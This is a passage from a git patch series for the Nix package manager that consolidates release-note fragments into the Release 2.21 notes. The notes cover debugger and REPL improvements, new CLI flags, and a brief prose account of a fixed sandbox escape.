a/doc/manual/rl-next/better-errors-in-nix-repl.md b/doc/manual/rl-next/better-errors-in-nix-repl.md deleted file mode 100644 index 4deaa8c70..000000000 --- a/doc/manual/rl-next/better-errors-in-nix-repl.md +++ /dev/null @@ -1,40 +0,0 @@ ---- -synopsis: Concise error printing in `nix repl` -prs: 9928 ---- - -Previously, if an element of a list or attribute set threw an error while -evaluating, `nix repl` would print the entire error (including source location -information) inline. This output was clumsy and difficult to parse: - -``` -nix-repl> { err = builtins.throw "uh oh!"; } -{ err = «error: - … while calling the 'throw' builtin - at «string»:1:9: - 1| { err = builtins.throw "uh oh!"; } - | ^ - - error: uh oh!»; } -``` - -Now, only the error message is displayed, making the output much more readable. -``` -nix-repl> { err = builtins.throw "uh oh!"; } -{ err = «error: uh oh!»; } -``` - -However, if the whole expression being evaluated throws an error, source -locations and (if applicable) a stack trace are printed, just like you'd expect: - -``` -nix-repl> builtins.throw "uh oh!" -error: - … while calling the 'throw' builtin - at «string»:1:1: - 1| builtins.throw "uh oh!" - | ^ - - error: uh oh! -``` - diff --git a/doc/manual/rl-next/debugger-locals-for-let-expressions.md b/doc/manual/rl-next/debugger-locals-for-let-expressions.md deleted file mode 100644 index 736208724..000000000 --- a/doc/manual/rl-next/debugger-locals-for-let-expressions.md +++ /dev/null @@ -1,9 +0,0 @@ ---- -synopsis: "`--debugger` can now access bindings from `let` expressions" -prs: 9918 -issues: 8827. ---- - -Breakpoints and errors in the bindings of a `let` expression can now access -those bindings in the debugger. Previously, only the body of `let` expressions -could access those bindings. diff --git a/doc/manual/rl-next/debugger-on-trace.md b/doc/manual/rl-next/debugger-on-trace.md deleted file mode 100644 index 721928550..000000000 --- a/doc/manual/rl-next/debugger-on-trace.md +++ /dev/null @@ -1,9 +0,0 @@ ---- -synopsis: Enter the `--debugger` when `builtins.trace` is called if `debugger-on-trace` is set -prs: 9914 ---- - -If the `debugger-on-trace` option is set and `--debugger` is given, -`builtins.trace` calls will behave similarly to `builtins.break` and will enter -the debug REPL. This is useful for determining where warnings are being emitted -from. diff --git a/doc/manual/rl-next/debugger-positions.md b/doc/manual/rl-next/debugger-positions.md deleted file mode 100644 index 2fe868413..000000000 --- a/doc/manual/rl-next/debugger-positions.md +++ /dev/null @@ -1,25 +0,0 @@ ---- -synopsis: Debugger prints source position information -prs: 9913 ---- - -The `--debugger` now prints source location information, instead of the -pointers of source location information. Before: - -``` -nix-repl> :bt -0: while evaluating the attribute 'python311.pythonForBuild.pkgs' -0x600001522598 -``` - -After: - -``` -0: while evaluating the attribute 'python311.pythonForBuild.pkgs' -/nix/store/hg65h51xnp74ikahns9hyf3py5mlbbqq-source/overrides/default.nix:132:27 - - 131| - 132| bootstrappingBase = pkgs.${self.python.pythonAttr}.pythonForBuild.pkgs; - | ^ - 133| in -``` diff --git a/doc/manual/rl-next/enter-debugger-more-reliably-in-let-and-calls.md b/doc/manual/rl-next/enter-debugger-more-reliably-in-let-and-calls.md deleted file mode 100644 index c93225816..000000000 --- a/doc/manual/rl-next/enter-debugger-more-reliably-in-let-and-calls.md +++ /dev/null @@ -1,25 +0,0 @@ ---- -synopsis: The `--debugger` will start more reliably in `let` expressions and function calls -prs: 9917 -issues: 6649 ---- - -Previously, if you attempted to evaluate this file with the debugger: - -```nix -let - a = builtins.trace "before inner break" ( - builtins.break "hello" - ); - b = builtins.trace "before outer break" ( - builtins.break a - ); -in - b -``` - -Nix would correctly enter the debugger at `builtins.break a`, but if you asked -it to `:continue`, it would skip over the `builtins.break "hello"` expression -entirely. - -Now, Nix will correctly enter the debugger at both breakpoints. diff --git a/doc/manual/rl-next/fod-sandbox-escape.md b/doc/manual/rl-next/fod-sandbox-escape.md deleted file mode 100644 index ed451711e..000000000 --- a/doc/manual/rl-next/fod-sandbox-escape.md +++ /dev/null @@ -1,14 +0,0 @@ ---- -synopsis: Fix a FOD sandbox escape -issues: -prs: ---- - -Cooperating Nix derivations could send file descriptors to files in the Nix -store to each other via Unix domain sockets in the abstract namespace. This -allowed one derivation to modify the output of the other derivation, after Nix -has registered the path as "valid" and immutable in the Nix database. -In particular, this allowed the output of fixed-output derivations to be -modified from their expected content. - -This isn't the case any more. diff --git a/doc/manual/rl-next/forbid-nested-debuggers.md b/doc/manual/rl-next/forbid-nested-debuggers.md deleted file mode 100644 index a5924b24f..000000000 --- a/doc/manual/rl-next/forbid-nested-debuggers.md +++ /dev/null @@ -1,32 +0,0 @@ ---- -synopsis: Nested debuggers are no longer supported -prs: 9920 ---- - -Previously, evaluating an expression that throws an error in the debugger would -enter a second, nested debugger: - -``` -nix-repl> builtins.throw "what" -error: what - - -Starting REPL to allow you to inspect the current state of the evaluator. - -Welcome to Nix 2.18.1. Type :? for help. - -nix-repl> -``` - -Now, it just prints the error message like `nix repl`: - -``` -nix-repl> builtins.throw "what" -error: - … while calling the 'throw' builtin - at «string»:1:1: - 1| builtins.throw "what" - | ^ - - error: what -``` diff --git a/doc/manual/rl-next/formal-order.md b/doc/manual/rl-next/formal-order.md deleted file mode 100644 index 12628e318..000000000 --- a/doc/manual/rl-next/formal-order.md +++ /dev/null @@ -1,7 +0,0 @@ ---- -synopsis: consistent order of lambda formals in printed expressions -prs: 9874 ---- - -Always print lambda formals in lexicographic order rather than the internal, creation-time based symbol order. -This makes printed formals independent of the context they appear in. diff --git a/doc/manual/rl-next/inherit-error-positions.md b/doc/manual/rl-next/inherit-error-positions.md deleted file mode 100644 index 643080e9e..000000000 --- a/doc/manual/rl-next/inherit-error-positions.md +++ /dev/null @@ -1,6 +0,0 @@ ---- -synopsis: fix duplicate attribute error positions for `inherit` -prs: 9874 ---- - -When an inherit caused a duplicate attribute error the position of the error was not reported correctly, placing the error with the inherit itself or at the start of the bindings block instead of the offending attribute name. diff --git a/doc/manual/rl-next/inherit-from-by-need.md b/doc/manual/rl-next/inherit-from-by-need.md deleted file mode 100644 index 67c2cdedf..000000000 --- a/doc/manual/rl-next/inherit-from-by-need.md +++ /dev/null @@ -1,7 +0,0 @@ ---- -synopsis: "`inherit (x) ...` evaluates `x` only once" -prs: 9847 ---- - -`inherit (x) a b ...` now evaluates the expression `x` only once for all inherited attributes rather than once for each inherited attribute. -This does not usually have a measurable impact, but side-effects (such as `builtins.trace`) would be duplicated and expensive expressions (such as derivations) could cause a measurable slowdown. diff --git a/doc/manual/rl-next/lambda-printing.md b/doc/manual/rl-next/lambda-printing.md deleted file mode 100644 index 3a63f3068..000000000 --- a/doc/manual/rl-next/lambda-printing.md +++ /dev/null @@ -1,50 +0,0 @@ ---- -synopsis: Functions are printed with more detail -prs: 9606 -issues: 7145 ---- - -Functions and `builtins` are printed with more detail in `nix repl`, `nix -eval`, `builtins.trace`, and most other places values are printed. - -Before: - -``` -$ nix repl nixpkgs -nix-repl> builtins.map -«primop» - -nix-repl> builtins.map lib.id -«primop-app» - -nix-repl> builtins.trace lib.id "my-value" -trace: -"my-value" - -$ nix eval --file functions.nix -{ id = ; primop = ; primop-app = ; } -``` - -After: - -``` -$ nix repl nixpkgs -nix-repl> builtins.map -«primop map» - -nix-repl> builtins.map lib.id -«partially applied primop map» - -nix-repl> builtins.trace lib.id "my-value" -trace: «lambda id @ /nix/store/8rrzq23h2zq7sv5l2vhw44kls5w0f654-source/lib/trivial.nix:26:5» -"my-value" - -$ nix eval --file functions.nix -{ id = «lambda id @ /Users/wiggles/nix/functions.nix:2:8»; primop = «primop map»; primop-app = «partially applied primop map»; } -``` - -This was actually released in Nix 2.20, but wasn't added to the release notes -so we're announcing it here. The historical release notes have been updated as well. - -[type-error]: https://github.com/NixOS/nix/pull/9753 -[coercion-error]: https://github.com/NixOS/nix/pull/9754 diff --git a/doc/manual/rl-next/leading-period.md b/doc/manual/rl-next/leading-period.md deleted file mode 100644 index ef7c2326f..000000000 --- a/doc/manual/rl-next/leading-period.md +++ /dev/null @@ -1,10 +0,0 @@ ---- -synopsis: Store paths are allowed to start with `.` -issues: 912 -prs: 9867 9091 9095 9120 9121 9122 9130 9219 9224 ---- - -Leading periods were allowed by accident in Nix 2.4. The Nix team has considered this to be a bug, but this behavior has since been relied on by users, leading to unnecessary difficulties. -From now on, leading periods are officially, definitively supported. The names `.` and `..` are disallowed, as well as those starting with `.-` or `..-`. - -Nix versions that denied leading periods are documented [in the issue](https://github.com/NixOS/nix/issues/912#issuecomment-1919583286). diff --git a/doc/manual/rl-next/more-commands-respect-ctrl-c.md b/doc/manual/rl-next/more-commands-respect-ctrl-c.md deleted file mode 100644 index 948930c96..000000000 --- a/doc/manual/rl-next/more-commands-respect-ctrl-c.md +++ /dev/null @@ -1,13 +0,0 @@ ---- -synopsis: Nix commands respect Ctrl-C -prs: 9687 6995 -issues: 7245 ---- - -Previously, many Nix commands would hang indefinitely if Ctrl-C was pressed -while performing various operations (including `nix develop`, `nix flake -update`, and so on). With several fixes to Nix's signal handlers, Nix commands -will now exit quickly after Ctrl-C is pressed. - -This was actually released in Nix 2.20, but wasn't added to the release notes -so we're announcing it here. The historical release notes have been updated as well. diff --git a/doc/manual/rl-next/pretty-print-in-nix-repl.md b/doc/manual/rl-next/pretty-print-in-nix-repl.md deleted file mode 100644 index 26ba5162a..000000000 --- a/doc/manual/rl-next/pretty-print-in-nix-repl.md +++ /dev/null @@ -1,24 +0,0 @@ ---- -synopsis: "`nix repl` pretty-prints values" -prs: 9931 ---- - -`nix repl` will now pretty-print values: - -``` -{ - attrs = { - a = { - b = { - c = { }; - }; - }; - }; - list = [ 1 ]; - list' = [ - 1 - 2 - 3 - ]; -} -``` diff --git a/doc/manual/rl-next/profile-regex-all.md b/doc/manual/rl-next/profile-regex-all.md deleted file mode 100644 index e3e6849cc..000000000 --- a/doc/manual/rl-next/profile-regex-all.md +++ /dev/null @@ -1,35 +0,0 @@ ---- -synopsis: Introduction of `--regex` and `--all` in `nix profile remove` and `nix profile upgrade` -prs: 10166 ---- - -Previously the command-line arguments for `nix profile remove` and `nix profile upgrade` matched the package entries using regular expression. -For instance: - -``` -nix profile remove '.*vim.*' -``` - -This would remove all packages that contain `vim` in their name. - -In most cases, only singular package names were used to remove and upgrade packages. Mixing this with regular expressions sometimes lead to unintended behavior. For instance, `python3.1` could match `python311`. - -To avoid unintended behavior, the arguments are now only matching exact names. - -Matching using regular expressions is still possible by using the new `--regex` flag: - -``` -nix profile remove --regex '.*vim.*' -``` - -One of the most useful cases for using regular expressions was to upgrade all packages. This was previously accomplished by: - -``` -nix profile upgrade '.*' -``` - -With the introduction of the `--all` flag, this now becomes more straightforward: - -``` -nix profile upgrade --all -``` diff --git a/doc/manual/rl-next/reduce-debugger-clutter.md b/doc/manual/rl-next/reduce-debugger-clutter.md deleted file mode 100644 index 9bc902eee..000000000 --- a/doc/manual/rl-next/reduce-debugger-clutter.md +++ /dev/null @@ -1,37 +0,0 @@ ---- -synopsis: "Visual clutter in `--debugger` is reduced" -prs: 9919 ---- - -Before: -``` -info: breakpoint reached - - -Starting REPL to allow you to inspect the current state of the evaluator. - -Welcome to Nix 2.20.0pre20231222_dirty. Type :? for help. - -nix-repl> :continue -error: uh oh - - -Starting REPL to allow you to inspect the current state of the evaluator. - -Welcome to Nix 2.20.0pre20231222_dirty. Type :? for help. - -nix-repl> -``` - -After: - -``` -info: breakpoint reached - -Nix 2.20.0pre20231222_dirty debugger -Type :? for help. -nix-repl> :continue -error: uh oh - -nix-repl> -``` diff --git a/doc/manual/rl-next/repl-ctrl-c-while-printing.md b/doc/manual/rl-next/repl-ctrl-c-while-printing.md deleted file mode 100644 index 15b0daa0a..000000000 --- a/doc/manual/rl-next/repl-ctrl-c-while-printing.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -synopsis: "`nix repl` now respects Ctrl-C while printing values" -prs: 9927 ---- - -`nix repl` will now halt immediately when Ctrl-C is pressed while it's printing -a value. This is useful if you got curious about what would happen if you -printed all of Nixpkgs. diff --git a/doc/manual/rl-next/repl-cycle-detection.md b/doc/manual/rl-next/repl-cycle-detection.md deleted file mode 100644 index de24c4be1..000000000 --- a/doc/manual/rl-next/repl-cycle-detection.md +++ /dev/null @@ -1,22 +0,0 @@ ---- -synopsis: Cycle detection in `nix repl` is simpler and more reliable -prs: 9926 -issues: 8672 ---- - -The cycle detection in `nix repl`, `nix eval`, `builtins.trace`, and everywhere -else values are printed is now simpler and matches the cycle detection in -`nix-instantiate --eval` output. - -Before: - -``` -nix eval --expr 'let self = { inherit self; }; in self' -{ self = { self = «repeated»; }; } -``` - -After: - -``` -{ self = «repeated»; } -``` diff --git a/doc/manual/rl-next/source-location-in-while-evaluating-attribute.md b/doc/manual/rl-next/source-location-in-while-evaluating-attribute.md deleted file mode 100644 index 0e0b74c5a..000000000 --- a/doc/manual/rl-next/source-location-in-while-evaluating-attribute.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -synopsis: "In the debugger, `while evaluating the attribute` errors now include position information" -prs: 9915 ---- - -Before: - -``` -0: while evaluating the attribute 'python311.pythonForBuild.pkgs' -0x600001522598 -``` - -After: - -``` -0: while evaluating the attribute 'python311.pythonForBuild.pkgs' -/nix/store/hg65h51xnp74ikahns9hyf3py5mlbbqq-source/overrides/default.nix:132:27 - - 131| - 132| bootstrappingBase = pkgs.${self.python.pythonAttr}.pythonForBuild.pkgs; - | ^ - 133| in -``` diff --git a/doc/manual/rl-next/stack-size-macos.md b/doc/manual/rl-next/stack-size-macos.md deleted file mode 100644 index b1c40bb5a..000000000 --- a/doc/manual/rl-next/stack-size-macos.md +++ /dev/null @@ -1,9 +0,0 @@ ---- -synopsis: Stack size is increased on macOS -prs: 9860 ---- - -Previously, Nix would set the stack size to 64MiB on Linux, but would leave the -stack size set to the default (approximately 8KiB) on macOS. Now, the stack -size is correctly set to 64MiB on macOS as well, which should reduce stack -overflow segfaults in deeply-recursive Nix expressions. diff --git a/doc/manual/src/SUMMARY.md.in b/doc/manual/src/SUMMARY.md.in index 70dea4fbd..1149fc7b4 100644 --- a/doc/manual/src/SUMMARY.md.in +++ b/doc/manual/src/SUMMARY.md.in @@ -121,6 +121,7 @@ - [C++ style guide](contributing/cxx.md) - [Release Notes](release-notes/index.md) {{#include ./SUMMARY-rl-next.md}} + - [Release 2.21 (2024-03-11)](release-notes/rl-2.21.md) - [Release 2.20 (2024-01-29)](release-notes/rl-2.20.md) - [Release 2.19 (2023-11-17)](release-notes/rl-2.19.md) - [Release 2.18 (2023-09-20)](release-notes/rl-2.18.md) diff --git a/doc/manual/src/release-notes/rl-2.21.md b/doc/manual/src/release-notes/rl-2.21.md new file mode 100644 index 000000000..707b56ce1 --- /dev/null +++ b/doc/manual/src/release-notes/rl-2.21.md @@ -0,0 +1,366 @@ +# Release 2.21.0 (2024-03-11) + +- CLI options `--arg-from-file` and `--arg-from-stdin` [#10122](https://github.com/NixOS/nix/pull/10122) + + The new CLI option `--arg-from-file` *name* *path* passes the contents + of file *path* as a string value via the function argument *name* to a + Nix expression. Similarly, the new option `--arg-from-stdin` *name* + reads the contents of the string from standard input. + +- Concise error printing in `nix repl` [#9928](https://github.com/NixOS/nix/pull/9928) + + Previously, if an element of a list or attribute set threw an error while + evaluating, `nix repl` would print the entire error (including source location + information) inline. This output was clumsy and difficult to parse: + + ``` + nix-repl> { err = builtins.throw "uh oh!"; } + { err = «error: + … while calling the 'throw' builtin + at «string»:1:9: + 1| { err = builtins.throw "uh oh!"; } + | ^ + + error: uh oh!»; } + ``` + + Now, only the error message is displayed, making the output much more readable. + ``` + nix-repl> { err = builtins.throw "uh oh!"; } + { err = «error: uh oh!»; } + ``` + + However, if the whole expression being evaluated throws an error, source + locations and (if applicable) a stack trace are printed, just like you'd expect: + + ``` + nix-repl> builtins.throw "uh oh!" + error: + … while calling the 'throw' builtin + at «string»:1:1: + 1| builtins.throw "uh oh!" + | ^ + + error: uh oh! + ``` + +- `--debugger` can now access bindings from `let` expressions [#8827](https://github.com/NixOS/nix/issues/8827) [#9918](https://github.com/NixOS/nix/pull/9918) + + Breakpoints and errors in the bindings of a `let` expression can now access + those bindings in the debugger. Previously, only the body of `let` expressions + could access those bindings. + +- Enter the `--debugger` when `builtins.trace` is called if `debugger-on-trace` is set [#9914](https://github.com/NixOS/nix/pull/9914) + + If the `debugger-on-trace` option is set and `--debugger` is given, + `builtins.trace` calls will behave similarly to `builtins.break` and will enter + the debug REPL. This is useful for determining where warnings are being emitted + from. + +- Debugger prints source position information [#9913](https://github.com/NixOS/nix/pull/9913) + + The `--debugger` now prints source location information, instead of the + pointers of source location information. Before: + + ``` + nix-repl> :bt + 0: while evaluating the attribute 'python311.pythonForBuild.pkgs' + 0x600001522598 + ``` + + After: + + ``` + 0: while evaluating the attribute 'python311.pythonForBuild.pkgs' + /nix/store/hg65h51xnp74ikahns9hyf3py5mlbbqq-source/overrides/default.nix:132:27 + + 131| + 132| bootstrappingBase = pkgs.${self.python.pythonAttr}.pythonForBuild.pkgs; + | ^ + 133| in + ``` + +- The `--debugger` will start more reliably in `let` expressions and function calls [#6649](https://github.com/NixOS/nix/issues/6649) [#9917](https://github.com/NixOS/nix/pull/9917) + + Previously, if you attempted to evaluate this file with the debugger: + + ```nix + let + a = builtins.trace "before inner break" ( + builtins.break "hello" + ); + b = builtins.trace "before outer break" ( + builtins.break a + ); + in + b + ``` + + Nix would correctly enter the debugger at `builtins.break a`, but if you asked + it to `:continue`, it would skip over the `builtins.break "hello"` expression + entirely. + + Now, Nix will correctly enter the debugger at both breakpoints. + +- Fix a FOD sandbox escape + + Cooperating Nix derivations could send file descriptors to files in the Nix + store to each other via Unix domain sockets in the abstract namespace. This + allowed one derivation to modify the output of the other derivation, after Nix + has registered the path as "valid" and immutable in the Nix database. + In particular, this allowed the output of fixed-output derivations to be + modified from their expected content. + + This isn't the case any more. + +- Nested debuggers are no longer supported [#9920](https://github.com/NixOS/nix/pull/9920) + + Previously, evaluating an expression that throws an error in the debugger would + enter a second, nested debugger: + + ``` + nix-repl> builtins.throw "what" + error: what + + + Starting REPL to allow you to inspect the current state of the evaluator. + + Welcome to Nix 2.18.1. Type :? for help. + + nix-repl> + ``` + + Now, it just prints the error message like `nix repl`: + + ``` + nix-repl> builtins.throw "what" + error: + … while calling the 'throw' builtin + at «string»:1:1: + 1| builtins.throw "what" + | ^ + + error: what + ``` + +- consistent order of lambda formals in printed expressions [#9874](https://github.com/NixOS/nix/pull/9874) + + Always print lambda formals in lexicographic order rather than the internal, creation-time based symbol order. + This makes printed formals independent of the context they appear in. + +- fix duplicate attribute error positions for `inherit` [#9874](https://github.com/NixOS/nix/pull/9874) + + When an inherit caused a duplicate attribute error the position of the error was not reported correctly, placing the error with the inherit itself or at the start of the bindings block instead of the offending attribute name. + +- `inherit (x) ...` evaluates `x` only once [#9847](https://github.com/NixOS/nix/pull/9847) + + `inherit (x) a b ...` now evaluates the expression `x` only once for all inherited attributes rather than once for each inherited attribute. + This does not usually have a measurable impact, but side-effects (such as `builtins.trace`) would be duplicated and expensive expressions (such as derivations) could cause a measurable slowdown. + +- Functions are printed with more detail [#7145](https://github.com/NixOS/nix/issues/7145) [#9606](https://github.com/NixOS/nix/pull/9606) + + Functions and `builtins` are printed with more detail in `nix repl`, `nix + eval`, `builtins.trace`, and most other places values are printed. + + Before: + + ``` + $ nix repl nixpkgs + nix-repl> builtins.map + «primop» + + nix-repl> builtins.map lib.id + «primop-app» + + nix-repl> builtins.trace lib.id "my-value" + trace: + "my-value" + + $ nix eval --file functions.nix + { id = ; primop = ; primop-app = ; } + ``` + + After: + + ``` + $ nix repl nixpkgs + nix-repl> builtins.map + «primop map» + + nix-repl> builtins.map lib.id + «partially applied primop map» + + nix-repl> builtins.trace lib.id "my-value" + trace: «lambda id @ /nix/store/8rrzq23h2zq7sv5l2vhw44kls5w0f654-source/lib/trivial.nix:26:5» + "my-value" + + $ nix eval --file functions.nix + { id = «lambda id @ /Users/wiggles/nix/functions.nix:2:8»; primop = «primop map»; primop-app = «partially applied primop map»; } + ``` + + This was actually released in Nix 2.20, but wasn't added to the release notes + so we're announcing it here. The historical release notes have been updated as well. + + [type-error]: https://github.com/NixOS/nix/pull/9753 + [coercion-error]: https://github.com/NixOS/nix/pull/9754 + +- Store paths are allowed to start with `.` [#912](https://github.com/NixOS/nix/issues/912) [#9091](https://github.com/NixOS/nix/pull/9091) [#9095](https://github.com/NixOS/nix/pull/9095) [#9120](https://github.com/NixOS/nix/pull/9120) [#9121](https://github.com/NixOS/nix/pull/9121) [#9122](https://github.com/NixOS/nix/pull/9122) [#9130](https://github.com/NixOS/nix/pull/9130) [#9219](https://github.com/NixOS/nix/pull/9219) [#9224](https://github.com/NixOS/nix/pull/9224) [#9867](https://github.com/NixOS/nix/pull/9867) + + Leading periods were allowed by accident in Nix 2.4. The Nix team has considered this to be a bug, but this behavior has since been relied on by users, leading to unnecessary difficulties. + From now on, leading periods are officially, definitively supported. The names `.` and `..` are disallowed, as well as those starting with `.-` or `..-`. + + Nix versions that denied leading periods are documented [in the issue](https://github.com/NixOS/nix/issues/912#issuecomment-1919583286). + +- Nix commands respect Ctrl-C [#7245](https://github.com/NixOS/nix/issues/7245) [#6995](https://github.com/NixOS/nix/pull/6995) [#9687](https://github.com/NixOS/nix/pull/9687) + + Previously, many Nix commands would hang indefinitely if Ctrl-C was pressed + while performing various operations (including `nix develop`, `nix flake + update`, and so on). With several fixes to Nix's signal handlers, Nix commands + will now exit quickly after Ctrl-C is pressed. + + This was actually released in Nix 2.20, but wasn't added to the release notes + so we're announcing it here. The historical release notes have been updated as well. + +- `nix repl` pretty-prints values [#9931](https://github.com/NixOS/nix/pull/9931) + + `nix repl` will now pretty-print values: + + ``` + { + attrs = { + a = { + b = { + c = { }; + }; + }; + }; + list = [ 1 ]; + list' = [ + 1 + 2 + 3 + ]; + } + ``` + +- Introduction of `--regex` and `--all` in `nix profile remove` and `nix profile upgrade` [#10166](https://github.com/NixOS/nix/pull/10166) + + Previously the command-line arguments for `nix profile remove` and `nix profile upgrade` matched the package entries using regular expression. + For instance: + + ``` + nix profile remove '.*vim.*' + ``` + + This would remove all packages that contain `vim` in their name. + + In most cases, only singular package names were used to remove and upgrade packages. Mixing this with regular expressions sometimes lead to unintended behavior. For instance, `python3.1` could match `python311`. + + To avoid unintended behavior, the arguments are now only matching exact names. + + Matching using regular expressions is still possible by using the new `--regex` flag: + + ``` + nix profile remove --regex '.*vim.*' + ``` + + One of the most useful cases for using regular expressions was to upgrade all packages. This was previously accomplished by: + + ``` + nix profile upgrade '.*' + ``` + + With the introduction of the `--all` flag, this now becomes more straightforward: + + ``` + nix profile upgrade --all + ``` + +- Visual clutter in `--debugger` is reduced [#9919](https://github.com/NixOS/nix/pull/9919) + + Before: + ``` + info: breakpoint reached + + + Starting REPL to allow you to inspect the current state of the evaluator. + + Welcome to Nix 2.20.0pre20231222_dirty. Type :? for help. + + nix-repl> :continue + error: uh oh + + + Starting REPL to allow you to inspect the current state of the evaluator. + + Welcome to Nix 2.20.0pre20231222_dirty. Type :? for help. + + nix-repl> + ``` + + After: + + ``` + info: breakpoint reached + + Nix 2.20.0pre20231222_dirty debugger + Type :? for help. + nix-repl> :continue + error: uh oh + + nix-repl> + ``` + +- `nix repl` now respects Ctrl-C while printing values [#9927](https://github.com/NixOS/nix/pull/9927) + + `nix repl` will now halt immediately when Ctrl-C is pressed while it's printing + a value. This is useful if you got curious about what would happen if you + printed all of Nixpkgs. + +- Cycle detection in `nix repl` is simpler and more reliable [#8672](https://github.com/NixOS/nix/issues/8672) [#9926](https://github.com/NixOS/nix/pull/9926) + + The cycle detection in `nix repl`, `nix eval`, `builtins.trace`, and everywhere + else values are printed is now simpler and matches the cycle detection in + `nix-instantiate --eval` output. + + Before: + + ``` + nix eval --expr 'let self = { inherit self; }; in self' + { self = { self = «repeated»; }; } + ``` + + After: + + ``` + { self = «repeated»; } + ``` + +- In the debugger, `while evaluating the attribute` errors now include position information [#9915](https://github.com/NixOS/nix/pull/9915) + + Before: + + ``` + 0: while evaluating the attribute 'python311.pythonForBuild.pkgs' + 0x600001522598 + ``` + + After: + + ``` + 0: while evaluating the attribute 'python311.pythonForBuild.pkgs' + /nix/store/hg65h51xnp74ikahns9hyf3py5mlbbqq-source/overrides/default.nix:132:27 + + 131| + 132| bootstrappingBase = pkgs.${self.python.pythonAttr}.pythonForBuild.pkgs; + | ^ + 133| in + ``` + +- Stack size is increased on macOS [#9860](https://github.com/NixOS/nix/pull/9860) + + Previously, Nix would set the stack size to 64MiB on Linux, but would leave the + stack size set to the default (approximately 8KiB) on macOS. Now, the stack + size is correctly set to 64MiB on macOS as well, which should reduce stack + overflow segfaults in deeply-recursive Nix expressions. + From 4c97a66b4cfd6cb645a26be88c89ca51e48839f7 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Mon, 11 Mar 2024 18:00:10 +0100 Subject: [PATCH 0229/1251] Tweak release notes --- doc/manual/src/release-notes/rl-2.21.md | 96 +++++-------------------- 1 file changed, 16 insertions(+), 80 deletions(-) diff --git a/doc/manual/src/release-notes/rl-2.21.md b/doc/manual/src/release-notes/rl-2.21.md index 707b56ce1..75114f117 100644 --- a/doc/manual/src/release-notes/rl-2.21.md +++ b/doc/manual/src/release-notes/rl-2.21.md @@ -1,5 +1,16 @@ # Release 2.21.0 (2024-03-11) +- Fix a fixed-output derivation sandbox escape (CVE-2024-27297) + + Cooperating Nix derivations could send file descriptors to files in the Nix + store to each other via Unix domain sockets in the abstract namespace. This + allowed one derivation to modify the output of the other derivation, after Nix + has registered the path as "valid" and immutable in the Nix database. + In particular, this allowed the output of fixed-output derivations to be + modified from their expected content. + + This isn't the case any more. + - CLI options `--arg-from-file` and `--arg-from-stdin` [#10122](https://github.com/NixOS/nix/pull/10122) The new CLI option `--arg-from-file` *name* *path* passes the contents @@ -102,17 +113,6 @@ Now, Nix will correctly enter the debugger at both breakpoints. -- Fix a FOD sandbox escape - - Cooperating Nix derivations could send file descriptors to files in the Nix - store to each other via Unix domain sockets in the abstract namespace. This - allowed one derivation to modify the output of the other derivation, after Nix - has registered the path as "valid" and immutable in the Nix database. - In particular, this allowed the output of fixed-output derivations to be - modified from their expected content. - - This isn't the case any more. - - Nested debuggers are no longer supported [#9920](https://github.com/NixOS/nix/pull/9920) Previously, evaluating an expression that throws an error in the debugger would @@ -143,84 +143,26 @@ error: what ``` -- consistent order of lambda formals in printed expressions [#9874](https://github.com/NixOS/nix/pull/9874) +- Consistent order of function arguments in printed expressions [#9874](https://github.com/NixOS/nix/pull/9874) - Always print lambda formals in lexicographic order rather than the internal, creation-time based symbol order. - This makes printed formals independent of the context they appear in. + Function arguments are now printed in lexicographic order rather than the internal, creation-time based symbol order. -- fix duplicate attribute error positions for `inherit` [#9874](https://github.com/NixOS/nix/pull/9874) +- Fix duplicate attribute error positions for `inherit` [#9874](https://github.com/NixOS/nix/pull/9874) - When an inherit caused a duplicate attribute error the position of the error was not reported correctly, placing the error with the inherit itself or at the start of the bindings block instead of the offending attribute name. + When an `inherit` caused a duplicate attribute error the position of the error was not reported correctly, placing the error with the inherit itself or at the start of the bindings block instead of the offending attribute name. - `inherit (x) ...` evaluates `x` only once [#9847](https://github.com/NixOS/nix/pull/9847) `inherit (x) a b ...` now evaluates the expression `x` only once for all inherited attributes rather than once for each inherited attribute. This does not usually have a measurable impact, but side-effects (such as `builtins.trace`) would be duplicated and expensive expressions (such as derivations) could cause a measurable slowdown. -- Functions are printed with more detail [#7145](https://github.com/NixOS/nix/issues/7145) [#9606](https://github.com/NixOS/nix/pull/9606) - - Functions and `builtins` are printed with more detail in `nix repl`, `nix - eval`, `builtins.trace`, and most other places values are printed. - - Before: - - ``` - $ nix repl nixpkgs - nix-repl> builtins.map - «primop» - - nix-repl> builtins.map lib.id - «primop-app» - - nix-repl> builtins.trace lib.id "my-value" - trace: - "my-value" - - $ nix eval --file functions.nix - { id = ; primop = ; primop-app = ; } - ``` - - After: - - ``` - $ nix repl nixpkgs - nix-repl> builtins.map - «primop map» - - nix-repl> builtins.map lib.id - «partially applied primop map» - - nix-repl> builtins.trace lib.id "my-value" - trace: «lambda id @ /nix/store/8rrzq23h2zq7sv5l2vhw44kls5w0f654-source/lib/trivial.nix:26:5» - "my-value" - - $ nix eval --file functions.nix - { id = «lambda id @ /Users/wiggles/nix/functions.nix:2:8»; primop = «primop map»; primop-app = «partially applied primop map»; } - ``` - - This was actually released in Nix 2.20, but wasn't added to the release notes - so we're announcing it here. The historical release notes have been updated as well. - - [type-error]: https://github.com/NixOS/nix/pull/9753 - [coercion-error]: https://github.com/NixOS/nix/pull/9754 - - Store paths are allowed to start with `.` [#912](https://github.com/NixOS/nix/issues/912) [#9091](https://github.com/NixOS/nix/pull/9091) [#9095](https://github.com/NixOS/nix/pull/9095) [#9120](https://github.com/NixOS/nix/pull/9120) [#9121](https://github.com/NixOS/nix/pull/9121) [#9122](https://github.com/NixOS/nix/pull/9122) [#9130](https://github.com/NixOS/nix/pull/9130) [#9219](https://github.com/NixOS/nix/pull/9219) [#9224](https://github.com/NixOS/nix/pull/9224) [#9867](https://github.com/NixOS/nix/pull/9867) Leading periods were allowed by accident in Nix 2.4. The Nix team has considered this to be a bug, but this behavior has since been relied on by users, leading to unnecessary difficulties. - From now on, leading periods are officially, definitively supported. The names `.` and `..` are disallowed, as well as those starting with `.-` or `..-`. + From now on, leading periods are supported. The names `.` and `..` are disallowed, as well as those starting with `.-` or `..-`. Nix versions that denied leading periods are documented [in the issue](https://github.com/NixOS/nix/issues/912#issuecomment-1919583286). -- Nix commands respect Ctrl-C [#7245](https://github.com/NixOS/nix/issues/7245) [#6995](https://github.com/NixOS/nix/pull/6995) [#9687](https://github.com/NixOS/nix/pull/9687) - - Previously, many Nix commands would hang indefinitely if Ctrl-C was pressed - while performing various operations 